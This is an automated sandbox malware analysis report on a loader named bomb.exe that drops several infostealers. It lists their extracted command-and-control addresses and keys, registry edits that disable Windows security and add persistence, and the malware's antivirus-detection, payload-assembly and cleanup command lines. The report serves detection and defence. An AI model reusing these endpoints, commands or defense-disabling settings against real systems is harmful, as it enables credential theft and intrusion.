amadey | 79a68cdabfed0db4f35af981d8d44889d3124100bffcb1a7fb6473da67804394

Analysis

max time kernel
35s
max time network
151s
platform
windows10-2004_x64
resource
win10v2004-20240802-en
resource tags

arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system
submitted
05-10-2024 06:54

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

bomb.exe
Size

12KB
MD5

55dba6e7aa4e8cc73415f4e3f9f6bdae
SHA1

87c9f29d58f57a5e025061d389be2655ee879d5d
SHA256

3cea805f1396df15bdbcd4317388a046a41a6079dba04576a58ba7b2c812338a
SHA512

f2eb91e812b2ba58c4309fd44edadc8977367c7d9d6214d7e70a0392ae8427d570746ae57cca68dc260901f664f2e8c6c5387118ff01d243abeb5680abe2a352
SSDEEP

192:vnpYaU28zxHdo4ZMgQl9q+4ua7HhdSbwxz1ULU87glpK/b26J4Uf1XXr5:vWZdoWMR96uaLhM6ULU870gJR

Score

10^/10

amadey lumma phorphiex stealc vidar 550eb4 cry uniq credential_access discovery evasion execution loader persistence spyware stealer trojan worm

Malware Config

Extracted

Family

vidar

http://proxy.johnmccrea.com/

https://steamcommunity.com/profiles/76561199780418869

https://t.me/ae5ed

Attributes

user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:130.0) Gecko/20100101 Firefox/130.0

Extracted

Family

stealc

Botnet

cry

http://45.152.113.10

Attributes

url_path
/92335b4816f77e90.php

Extracted

Family

amadey

Version

4.42

Botnet

550eb4

http://45.202.35.101

Attributes

install_dir
9d94d7e7d6
install_file
Hkbsse.exe
strings_key
ff6ff15737aa82945cf5241d1644ddb4
url_paths
/pLQvfD4d/index.php

rc4.plain

Extracted

Family

lumma

Extracted

Family

stealc

Botnet

uniq

http://91.202.233.158

Attributes

url_path
/e96ea2db21fa9a1b.php

Extracted

Family

lumma

https://spirittunek.store/api

https://mobbipenju.store/api

https://eaglepawnoy.store/api

https://dissapoiznw.store/api

https://studennotediw.store/api

https://bathdoomgaz.store/api

Signatures

Amadey
Amadey bot is a simple trojan bot primarily used for collecting reconnaissance information.
trojan amadey

Detect Vidar Stealer 15 IoCs

stealer

resource	yara_rule
behavioral2/memory/1572-52-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/1572-53-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/1572-129-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/1572-130-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/1572-149-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/1572-154-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/1572-180-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/1572-182-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/1572-252-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/1572-258-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/1572-270-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/1572-273-0x0000000000400000-0x0000000000676000-memory.dmp	family_vidar_v7
behavioral2/memory/2940-322-0x00000000041D0000-0x0000000004446000-memory.dmp	family_vidar_v7
behavioral2/memory/2940-323-0x00000000041D0000-0x0000000004446000-memory.dmp	family_vidar_v7
behavioral2/memory/2940-324-0x00000000041D0000-0x0000000004446000-memory.dmp	family_vidar_v7

Lumma Stealer, LummaC
Lumma or LummaC is an infostealer written in C++ first seen in August 2022.
stealer lumma

Modifies security service 2 TTPs 1 IoCs

evasion

Modify Registry

T1112

Windows Service

T1543.003

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\wuauserv\Start = "4"	sysvplervcs.exe

Phorphiex payload 1 IoCs

resource	yara_rule
behavioral2/files/0x0007000000023446-51.dat	family_phorphiex

Phorphiex, Phorpiex
Phorphiex or Phorpiex Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.
worm trojan loader phorphiex
Stealc
Stealc is an infostealer written in C++.
stealer stealc
Vidar
Vidar is an infostealer based on Arkei stealer.
stealer vidar

Windows security bypass 2 TTPs 6 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe

Blocklisted process makes network request 2 IoCs

flow	pid	Process
48	3856	powershell.exe
52	3856	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3832	powershell.exe
3140	powershell.exe
3856	powershell.exe

Creates new service(s) 2 TTPs
persistence execution

Windows Service
T1543.003

Service Execution
T1569.002
Downloads MZ/PE file
Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

.NET Reactor proctector 2 IoCs

Detects an executable protected by an unregistered version of Eziriz's .NET Reactor.

resource	yara_rule
behavioral2/files/0x000c0000000234bc-718.dat	net_reactor
behavioral2/memory/4512-723-0x0000000000280000-0x00000000004FE000-memory.dmp	net_reactor

Checks computer location settings 2 TTPs 5 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	http77.105.161.194file1.exe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	sysvplervcs.exe
Key value queried	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000\Control Panel\International\Geo\Nation	bomb.exe

Drops startup file 1 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StorageDrv.url	http147.45.44.104malesa66fd20ad95baf_Notepad.exe#us111.exe

Executes dropped EXE 12 IoCs

pid	Process
4948	http185.215.113.66pei.exe.exe
5104	http147.45.44.104malesa66fd20ad95baf_Notepad.exe#us111.exe
1092	http77.105.161.194file1.exe.exe
4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe
3600	http185.215.113.66newtpp.exe.exe
3236	http77.105.161.194pdffile.exe.exe
2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe
3680	sysvplervcs.exe
4600	1615115012.exe
2940	Batch.pif
4532	IDGIJEGHDA.exe
228	httpjask.powerforxes.shoplopsa66dc99a997229_VirtualLibrary.exe.exe

Loads dropped DLL 2 IoCs

pid	Process
1572	MSBuild.exe
1572	MSBuild.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Unsecured Credentials: Credentials In Files 1 TTPs
Steal credentials from unsecured files.
credential_access stealer

Credentials In Files
T1552.001

Windows security modification 2 TTPs 7 IoCs

evasion trojan

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\UpdatesDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\FirewallDisableNotify = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiSpywareOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusOverride = "1"	sysvplervcs.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Security Center\AntiVirusDisableNotify = "1"	sysvplervcs.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\Windows Settings = "C:\\Windows\\sysvplervcs.exe"	http185.215.113.66newtpp.exe.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	http77.105.161.194pdffile.exe.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
47	bitbucket.org
48	bitbucket.org

Power Settings 1 TTPs 8 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2404	powercfg.exe
1720	powercfg.exe
4408	powercfg.exe
3784	powercfg.exe
1756	powercfg.exe
3656	powercfg.exe
2428	powercfg.exe
2748	powercfg.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

discovery

Process Discovery

T1057

pid	Process
2996	tasklist.exe
2092	tasklist.exe

Suspicious use of SetThreadContext 5 IoCs

description	pid	Process	procid_target
PID 4512 set thread context of 1572	4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe	91
PID 2540 set thread context of 4112	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	105
PID 5104 set thread context of 3224	5104	http147.45.44.104malesa66fd20ad95baf_Notepad.exe#us111.exe	132
PID 4532 set thread context of 1116	4532	IDGIJEGHDA.exe	138
PID 3856 set thread context of 2868	3856	powershell.exe	141

Drops file in Windows directory 7 IoCs

description	ioc	Process
File opened for modification	C:\Windows\DevelopedSimulation	http77.105.161.194file1.exe.exe
File created	C:\Windows\sysvplervcs.exe	http185.215.113.66newtpp.exe.exe
File opened for modification	C:\Windows\sysvplervcs.exe	http185.215.113.66newtpp.exe.exe
File opened for modification	C:\Windows\CautionKnife	http77.105.161.194file1.exe.exe
File opened for modification	C:\Windows\PrefersTracks	http77.105.161.194file1.exe.exe
File opened for modification	C:\Windows\ConsideringAttached	http77.105.161.194file1.exe.exe
File opened for modification	C:\Windows\HoneyAmounts	http77.105.161.194file1.exe.exe

Launches sc.exe 9 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
1728	sc.exe
4056	sc.exe
2344	sc.exe
4080	sc.exe
2040	sc.exe
4368	sc.exe
2104	sc.exe
4312	sc.exe
3552	sc.exe

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Embeds OpenSSL 1 IoCs

Embeds OpenSSL, may be used to circumvent TLS interception.

resource	yara_rule
behavioral2/files/0x00070000000234c0-752.dat	embeds_openssl

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Program crash 2 IoCs

pid	pid_target	Process	procid_target
756	4512	WerFault.exe	90
2004	4532	WerFault.exe	136

System Location Discovery: System Language Discovery 1 TTPs 33 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegSvcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IDGIJEGHDA.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	http185.215.113.66pei.exe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Batch.pif
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	MSBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	httpjask.powerforxes.shoplopsa66dc99a997229_VirtualLibrary.exe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	http185.215.113.66newtpp.exe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	tasklist.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	choice.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	http77.105.161.194file1.exe.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	findstr.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	RegAsm.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	sysvplervcs.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	1615115012.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	http147.45.44.104malesa66fd20ad95baf_Notepad.exe#us111.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	MSBuild.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	MSBuild.exe

Delays execution with timeout.exe 3 IoCs

evasion

pid	Process
4012	timeout.exe
4032	timeout.exe
4120	timeout.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-523280732-2327480845-3730041215-1000_Classes\Local Settings	cmd.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
1572	MSBuild.exe
1572	MSBuild.exe
3140	powershell.exe
3140	powershell.exe
3140	powershell.exe
3856	powershell.exe
3856	powershell.exe
3856	powershell.exe
1572	MSBuild.exe
1572	MSBuild.exe
3832	powershell.exe
3832	powershell.exe
3832	powershell.exe
2940	Batch.pif
2940	Batch.pif
2940	Batch.pif
2940	Batch.pif
2940	Batch.pif
2940	Batch.pif
1572	MSBuild.exe
1572	MSBuild.exe
1572	MSBuild.exe
1572	MSBuild.exe
2868	RegAsm.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4628	bomb.exe
Token: SeDebugPrivilege	5104	http147.45.44.104malesa66fd20ad95baf_Notepad.exe#us111.exe
Token: SeDebugPrivilege	3140	powershell.exe
Token: SeDebugPrivilege	3856	powershell.exe
Token: SeDebugPrivilege	2996	tasklist.exe
Token: SeDebugPrivilege	2092	tasklist.exe
Token: SeDebugPrivilege	3832	powershell.exe
Token: SeBackupPrivilege	2868	RegAsm.exe
Token: SeSecurityPrivilege	2868	RegAsm.exe
Token: SeSecurityPrivilege	2868	RegAsm.exe
Token: SeSecurityPrivilege	2868	RegAsm.exe
Token: SeSecurityPrivilege	2868	RegAsm.exe
Token: SeDebugPrivilege	2868	RegAsm.exe

Suspicious use of FindShellTrayWindow 3 IoCs

pid	Process
2940	Batch.pif
2940	Batch.pif
2940	Batch.pif

Suspicious use of SendNotifyMessage 3 IoCs

pid	Process
2940	Batch.pif
2940	Batch.pif
2940	Batch.pif

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4628 wrote to memory of 4948	4628	bomb.exe	87
PID 4628 wrote to memory of 4948	4628	bomb.exe	87
PID 4628 wrote to memory of 4948	4628	bomb.exe	87
PID 4628 wrote to memory of 5104	4628	bomb.exe	88
PID 4628 wrote to memory of 5104	4628	bomb.exe	88
PID 4628 wrote to memory of 5104	4628	bomb.exe	88
PID 4628 wrote to memory of 1092	4628	bomb.exe	89
PID 4628 wrote to memory of 1092	4628	bomb.exe	89
PID 4628 wrote to memory of 1092	4628	bomb.exe	89
PID 4628 wrote to memory of 4512	4628	bomb.exe	90
PID 4628 wrote to memory of 4512	4628	bomb.exe	90
PID 4628 wrote to memory of 4512	4628	bomb.exe	90
PID 4512 wrote to memory of 1572	4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe	91
PID 4512 wrote to memory of 1572	4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe	91
PID 4512 wrote to memory of 1572	4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe	91
PID 4512 wrote to memory of 1572	4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe	91
PID 4512 wrote to memory of 1572	4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe	91
PID 4512 wrote to memory of 1572	4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe	91
PID 4512 wrote to memory of 1572	4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe	91
PID 4512 wrote to memory of 1572	4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe	91
PID 4512 wrote to memory of 1572	4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe	91
PID 4512 wrote to memory of 1572	4512	httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe	91
PID 4628 wrote to memory of 3600	4628	bomb.exe	92
PID 4628 wrote to memory of 3600	4628	bomb.exe	92
PID 4628 wrote to memory of 3600	4628	bomb.exe	92
PID 4628 wrote to memory of 3236	4628	bomb.exe	95
PID 4628 wrote to memory of 3236	4628	bomb.exe	95
PID 4628 wrote to memory of 2540	4628	bomb.exe	97
PID 4628 wrote to memory of 2540	4628	bomb.exe	97
PID 4628 wrote to memory of 2540	4628	bomb.exe	97
PID 1092 wrote to memory of 3740	1092	http77.105.161.194file1.exe.exe	99
PID 1092 wrote to memory of 3740	1092	http77.105.161.194file1.exe.exe	99
PID 1092 wrote to memory of 3740	1092	http77.105.161.194file1.exe.exe	99
PID 3236 wrote to memory of 4648	3236	http77.105.161.194pdffile.exe.exe	101
PID 3236 wrote to memory of 4648	3236	http77.105.161.194pdffile.exe.exe	101
PID 2540 wrote to memory of 4180	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	103
PID 2540 wrote to memory of 4180	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	103
PID 2540 wrote to memory of 4180	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	103
PID 2540 wrote to memory of 3664	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	104
PID 2540 wrote to memory of 3664	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	104
PID 2540 wrote to memory of 3664	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	104
PID 2540 wrote to memory of 4112	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	105
PID 2540 wrote to memory of 4112	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	105
PID 2540 wrote to memory of 4112	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	105
PID 2540 wrote to memory of 4112	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	105
PID 2540 wrote to memory of 4112	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	105
PID 2540 wrote to memory of 4112	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	105
PID 2540 wrote to memory of 4112	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	105
PID 2540 wrote to memory of 4112	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	105
PID 2540 wrote to memory of 4112	2540	httpmales.mugutu.comrevada66df29a06624c_cry.exe.exe	105
PID 4648 wrote to memory of 4944	4648	cmd.exe	107
PID 4648 wrote to memory of 4944	4648	cmd.exe	107
PID 3600 wrote to memory of 3680	3600	http185.215.113.66newtpp.exe.exe	108
PID 3600 wrote to memory of 3680	3600	http185.215.113.66newtpp.exe.exe	108
PID 3600 wrote to memory of 3680	3600	http185.215.113.66newtpp.exe.exe	108
PID 4944 wrote to memory of 3140	4944	WScript.exe	109
PID 4944 wrote to memory of 3140	4944	WScript.exe	109
PID 3140 wrote to memory of 3856	3140	powershell.exe	111
PID 3140 wrote to memory of 3856	3140	powershell.exe	111
PID 4948 wrote to memory of 4600	4948	http185.215.113.66pei.exe.exe	112
PID 4948 wrote to memory of 4600	4948	http185.215.113.66pei.exe.exe	112
PID 4948 wrote to memory of 4600	4948	http185.215.113.66pei.exe.exe	112
PID 3740 wrote to memory of 2996	3740	cmd.exe	113
PID 3740 wrote to memory of 2996	3740	cmd.exe	113

C:\Users\Admin\AppData\Local\Temp\bomb.exe
"C:\Users\Admin\AppData\Local\Temp\bomb.exe"
1⤵
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4628
- C:\Users\Admin\AppData\Local\Temp\http185.215.113.66pei.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\http185.215.113.66pei.exe.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4948
- - C:\Users\Admin\AppData\Local\Temp\1615115012.exe
    C:\Users\Admin\AppData\Local\Temp\1615115012.exe
    3⤵
    - Executes dropped EXE
    - System Location Discovery: System Language Discovery
    PID:4600
- C:\Users\Admin\AppData\Local\Temp\http147.45.44.104malesa66fd20ad95baf_Notepad.exe#us111.exe
  "C:\Users\Admin\AppData\Local\Temp\http147.45.44.104malesa66fd20ad95baf_Notepad.exe#us111.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of AdjustPrivilegeToken
  PID:5104
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe"
    3⤵
    - System Location Discovery: System Language Discovery
    PID:3224
- C:\Users\Admin\AppData\Local\Temp\http77.105.161.194file1.exe.exe
  "C:\Users\Admin\AppData\Local\Temp\http77.105.161.194file1.exe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops file in Windows directory
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:1092
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /c move Tits Tits.bat & Tits.bat
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:3740
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2996
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /I "wrsa opssvc"
      4⤵
      System Location Discovery: System Language Discovery
      PID:4308
  - - C:\Windows\SysWOW64\tasklist.exe
      tasklist
      4⤵
      Enumerates processes with tasklist
      System Location Discovery: System Language Discovery
      Suspicious use of AdjustPrivilegeToken
      PID:2092
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /I "avastui avgui bdservicehost nswscsvc sophoshealth"
      4⤵
      System Location Discovery: System Language Discovery
      PID:2020
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c md 400445
      4⤵
      System Location Discovery: System Language Discovery
      PID:4400
  - - C:\Windows\SysWOW64\findstr.exe
      findstr /V "navyfurthermoreacceptableinvestigator" Profession
      4⤵
      System Location Discovery: System Language Discovery
      PID:3976
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c copy /b ..\Atmospheric + ..\Commons + ..\Represent + ..\Humans + ..\Href + ..\Router + ..\Connection + ..\Sol O
      4⤵
      System Location Discovery: System Language Discovery
      PID:2892
  - - C:\Users\Admin\AppData\Local\Temp\400445\Batch.pif
      Batch.pif O
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of FindShellTrayWindow
      Suspicious use of SendNotifyMessage
      PID:2940
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\BGDHDAFIDGDB" & exit
        5⤵
        
        PID:2104
      - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        6⤵
        Delays execution with timeout.exe
        
        PID:4120
  - - C:\Windows\SysWOW64\choice.exe
      choice /d y /t 5
      4⤵
      System Location Discovery: System Language Discovery
      PID:1660
- C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe
  "C:\Users\Admin\AppData\Local\Temp\httpjask.powerforxes.shopldmsfedf8679e8d2.exe#d12.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
    "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
    3⤵
    - Loads dropped DLL
    - System Location Discovery: System Language Discovery
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:1572
  - - C:\ProgramData\IDGIJEGHDA.exe
      "C:\ProgramData\IDGIJEGHDA.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      PID:4532
    - - C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:1116
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 4532 -s 268
        5⤵
        Program crash
        
        PID:2004
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\ECGIIIDAKJDH" & exit
      4⤵
      PID:4920
    - - C:\Windows\SysWOW64\timeout.exe
        
        timeout /t 10
        5⤵
        Delays execution with timeout.exe
        
        PID:4012
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 4512 -s 252
